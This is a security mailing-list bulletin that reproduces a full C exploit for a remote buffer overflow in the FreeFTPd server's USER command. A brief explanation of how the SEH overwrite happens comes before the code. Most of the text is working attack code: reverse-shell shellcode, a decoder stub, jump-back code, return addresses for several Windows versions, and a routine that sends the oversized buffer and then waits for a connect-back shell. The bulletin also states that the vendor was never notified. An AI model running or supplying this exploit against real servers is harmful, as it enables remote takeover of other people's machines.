

Securiteam: [NT] FreeFTPd Buffer Overflow (Exploit, USER)

[i] Discovered by: barabas [mutsonline]

[i] Exploit by: Expanders

[Why FTPD crash?]

When logging option is enabled freeftpd copy the user and the pass supplied by the user in the memory before put it in a logfile.

-----Code Snippet-----

```
78001D5D MOV ECX,DWORD PTR SS:[ESP+4] Ftpd put in ECX SP+4 that point to the user supplied data.
```

If attacker's username is too big for the size of the buffer first we go to overwrite SEH handler(1011 bytes) and then the stack itself.

Beacuse stack point to our buffer this code

-----Code Snippet-----

```
78001D90 MOV EAX,DWORD PTR DS:[ECX]
```

will cause an access violation.

Code Execution is possible.

[Timeline]

This vulnerability was not comunicated to the author.

[Links]

www.x0n3-h4ck.org

*/

```
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
```

```
#define BUGSTR "USER %s \r\nPASS x0ned\r\n" // Command where bug reside
#define BUFFSIZE 2000 // Buffer size
```

```
int banner();
int usage(char *filename);
int inject(char *port, char *ip);
int remote_connect( char* ip, unsigned short port );
```

[NT] FreeFTPd Buffer Overflow (Exploit, USER)

Securiteam: [NT] FreeFTPD Buffer Overflow (Exploit, USER)

```
/* win32_reverse – EXITFUNC=seh LHOST=0.0.0.0 LPORT=0 Size=312 Encoder=Pex
http://metasploit.com */
char shellcode[] =
"\x2b\xc9\x83\xe9\xb8\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xcf"
"\xfd\x4a\x2d\x83\xee\xfc\xe2\xf4\x33\x97\xa1\x60\x27\x04\xb5\xd2"
"\x30\x9d\xc1\x41\xeb\xd9\xc1\x68\xf3\x76\x36\x28\xb7\xfc\xa5\xa6"
"\x80\xe5\xc1\x72\xef\xfc\xa1\x64\x44\xc9\xc1\x2c\x21\xcc\x8a\xb4"
"\x63\x79\x8a\x59\xc8\x3c\x80\x20\xce\x3f\xa1\xd9\xf4\xa9\x6e\x05"
"\xba\x18\xc1\x72\xeb\xfc\xa1\x4b\x44\xf1\x01\xa6\x90\xe1\x4b\xc6"
"\xcc\xd1\xc1\xa4\xa3\xd9\x56\x4c\x0c\xcc\x91\x49\x44\xbe\x7a\xa6"
"\x8f\xf1\xc1\x5d\xd3\x50\xc1\x6d\xc7\xa3\x22\xa3\x81\xf3\xa6\x7d"
"\x30\x2b\x2c\x7e\xa9\x95\x79\x1f\xa7\x8a\x39\x1f\x90\xa9\xb5\xfd"
"\xa7\x36\xa7\xd1\xf4\xad\xb5\xfb\x90\x74\xaf\x4b\x4e\x10\x42\x2f"
"\x9a\x97\x48\xd2\x1f\x95\x93\x24\x3a\x50\x1d\xd2\x19\xae\x19\x7e"
"\x9c\xbe\x19\x6e\x9c\x02\x9a\x45"

"\x00\x00\x00\x00" // IP

"\xa9\x95"

"\x00\x00" // PORT
"\xa9\xae\xc3\xc5\x95\xa6\xd4\x65\x9d\x1d\xd2\x19\x97\x5a\x7c"
"\x9a\x02\x9a\x4b\xa5\x99\x2c\x45\xac\x90\x20\x7d\x96\xd4\x86\xa4"
"\x28\x97\x0e\xa4\x2d\xcc\x8a\xde\x65\x68\xc3\xd0\x31\xbf\x67\xd3"
"\x8d\xd1\xc7\x57\xf7\x56\xe1\x86\xa7\x8f\xb4\x9e\xd9\x02\x3f\x05"
"\x30\x2b\x11\x7a\x9d\xac\x1b\x7c\xa5\xfc\x1b\x7c\x9a\xac\xb5\xfd"
"\xa7\x50\x93\x28\x01\xae\xb5\xfb\xa5\x02\xb5\x1a\x30\x2d\x22\xca"
"\xb6\x3b\x33\xd2\xba\xf9\xb5\xfb\x30\x8a\xb6\xd2\x1f\x95\xba\xa7"
"\xcb\xa2\x19\xd2\x19\x02\x9a\x2d";

char jmpback[] =
//22 byte xor decoder (0x55)
"\xEB\x0F\x5B\x33\xC9\x66\x83\xE9\xE0\x80\x33\x55\x43\xE2\xFA\xEB\x05\xE8\xEC\xFF\xFF\xFF"
//(20 byte jump-back code -> springt 256 + 256 + 64 bytes terug)
"\x8C\xBB\x8C\x21\x71xA1\x0C\xD5\x94\x5F\xC5\xAB\x98\xAB\x98\xD5\xBC\x15\xAA\xB4";

char jmpover[] =
// 2 bytes jump 4 bytes over – 2 bytes NOP
"\xEb\x04\x90\x90";

struct retcodes{ char *platform;unsigned long addr;} targets[] = {
    { "Windows NT SP 5/6" , 0x776a1082 }, // ws2help.dll pop esi, pop
    ebx, retn [Tnx to metasploit]
    { "Windows 2k Universal", 0x750211a9 }, // ws2help.dll pop ebp,
    pop ebx, retn [Tnx to metasploit]
    { "Windows XP SP 1/2" , 0x71aa13d6 }, // ws2help.dll pop ebx, pop
    ebp, retn [Tnx to metasploit]
    { NULL }
};
int banner() {
    printf("\n _____ .__ _____ \n");
}
```

Securiteam: [NT] FreeFTPd Buffer Overflow (Exploit, USER)

```

printf("____ _\\_ _ \\ ____ \\_____ \\| | _ /| | ____ | | _ \\n");
printf("\\ \\ \\ / / _ \\ \\ \\ / \\ _ ( _ < _____ | | \\ / | | _ / ____ \\ \\ / /
\n");
printf(" > < \\ \\ / \\ | \\ \\ / ____ / | Y \\ ^ / \\ \\ ____ | < \\n");
printf("/ _ ^ \\ \\ \\ \\ _____ / _ | / _____ / | _ | ^ \\ _____ | \\ _____ > _ | _ \\
\n");
printf(" \\ \\ \\ \\ \\ \\ \\ | _ | \\ \\ \\ \\n\n");
printf("[i] Title: \tFreeFTPD Remote USER Buffer overflow\n");
printf("[i] Discovered by:\tbarabas [mutsonline]\n");
printf("[i] Exploit by: \tExpanders\n");
return 0;
}

int usage(char *filename) {
    int i;
    printf("Usage: \t%s <host> <port> <l_ip> <l_port> <targ>\n\n",filename);
    printf(" \t<host> : Victim's host\n");
    printf(" \t<port> : Victim's port :: Default: 21\n");
    printf(" \t<l_ip> : Local ip address for connectback\n");
    printf(" \t<l_port> : Local port for connectback\n");
    printf(" \t<targ> : Target from the list below\n\n");

    printf("# \t Platform\n");
    printf("-----\n");
    for(i = 0; targets[i].platform; i++)
        printf("%d \t %s\n",i,targets[i].platform);
    printf("-----\n");
    exit(0);
}

int inject(char *port, char *ip)
{
    unsigned long xorip;
    unsigned short xorport;
    xorip = inet_addr(ip)^(unsigned long)0x2D4AFDCF;
    xorport = htons(atoi( port ))^(unsigned short)0x2D4A;
    memcpy ( &shellcode[184], &xorip, 4);
    memcpy ( &shellcode[190], &xorport, 2);
    return 0;
}

int remote_connect( char* ip, unsigned short port )
{
    int s;
    struct sockaddr_in remote_addr;
    struct hostent* host_addr;

    memset ( &remote_addr, 0x0, sizeof ( remote_addr ) );
    if ( ( host_addr = gethostbyname ( ip ) ) == NULL )
    {
        printf ( "[X] Cannot resolve \"%s\"\n", ip );
    }
}

```

Securiteam: [NT] FreeFTPd Buffer Overflow (Exploit, USER)

```
    exit ( 1 );
}
remote_addr.sin_family = AF_INET;
remote_addr.sin_port = htons ( port );
remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr );
if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
{
    printf ( "[X] Socket failed!\n" );
    exit ( 1 );
}
if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct
sockaddr ) ) == -1 )
{
    printf ( "[X] Failed connecting!\n" );
    exit ( 1 );
}
return ( s );
}

int main(int argc, char *argv[]) {
    int s,position;
    unsigned int rcv;
    char *buffer,*request;
    char recvbuf[256];
    banner();
    if( (argc != 6) || (atoi(argv[2]) < 1) || (atoi(argv[2]) > 65534) )
        usage(argv[0]);
    position = 0;
    printf("[+] Creating evil buffer\n");
    buffer = (char *) malloc(BUFFSIZE);
    request = (char *) malloc(BUFFSIZE + strlen(BUGSTR)); // +3 == \r + \n
+ 0x00
    memset(buffer,0x90,BUFFSIZE); // Fill with nops

    inject(argv[4],argv[3]); // Xor port and ip and put them into the
shellcode

    position = 1007 - (strlen(shellcode) + 100); // 1007 : Pointer to next
Exception structure 100: divide spaces
    memcpy(buffer+position,shellcode,strlen(shellcode));
    position += strlen(shellcode)+100;
    position += 2; // 2 bytes more nops
    memcpy(buffer+position,jmpover,2);
    position += 2;
    memcpy(buffer+position,&targets[atoi(argv[5])].addr,4);
    position += 4;
    position += 8; // 8 bytes more nops
    memcpy(buffer+position,jmpback,strlen(jmpback));
    position += strlen(jmpback);
    position += 8; // 8 bytes more nops
    memset(buffer+position,0x00,1); // End
```

Securiteam: [NT] FreeFTPd Buffer Overflow (Exploit, USER)

```
sprintf(request,BUGSTR,buffer);
printf("[+] Connecting to remote host\n");
s = remote_connect(argv[1],atoi(argv[2]));
rcv=recv(s,recvbuf,256,0);
if(rcv<0)
{
printf("\n[X] Error while recieving banner!\n");
close_exit();
}
if (strstr(recvbuf,"freeFTPd")!=0)
{
sleep(1);
printf("[+] Sending %d bytes of painfull buffer\n",strlen(buffer));
if ( send ( s, request, strlen (request), 0 ) <= 0 )
{
printf("[X] Failed to send buffer\n");
exit ( 1 );
}
printf("[+] Done – Wait for shell on port %s\n",argv[4]);
} else
printf("[X] This server is not running freeFTPd\n");
close(s);
free(buffer);
buffer = NULL;
return 0;
}
```

ADDITIONAL INFORMATION

The original article can be found at: <<http://milw0rm.com/id.php?id=1330>>
<http://milw0rm.com/id.php?id=1330>

=====
This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.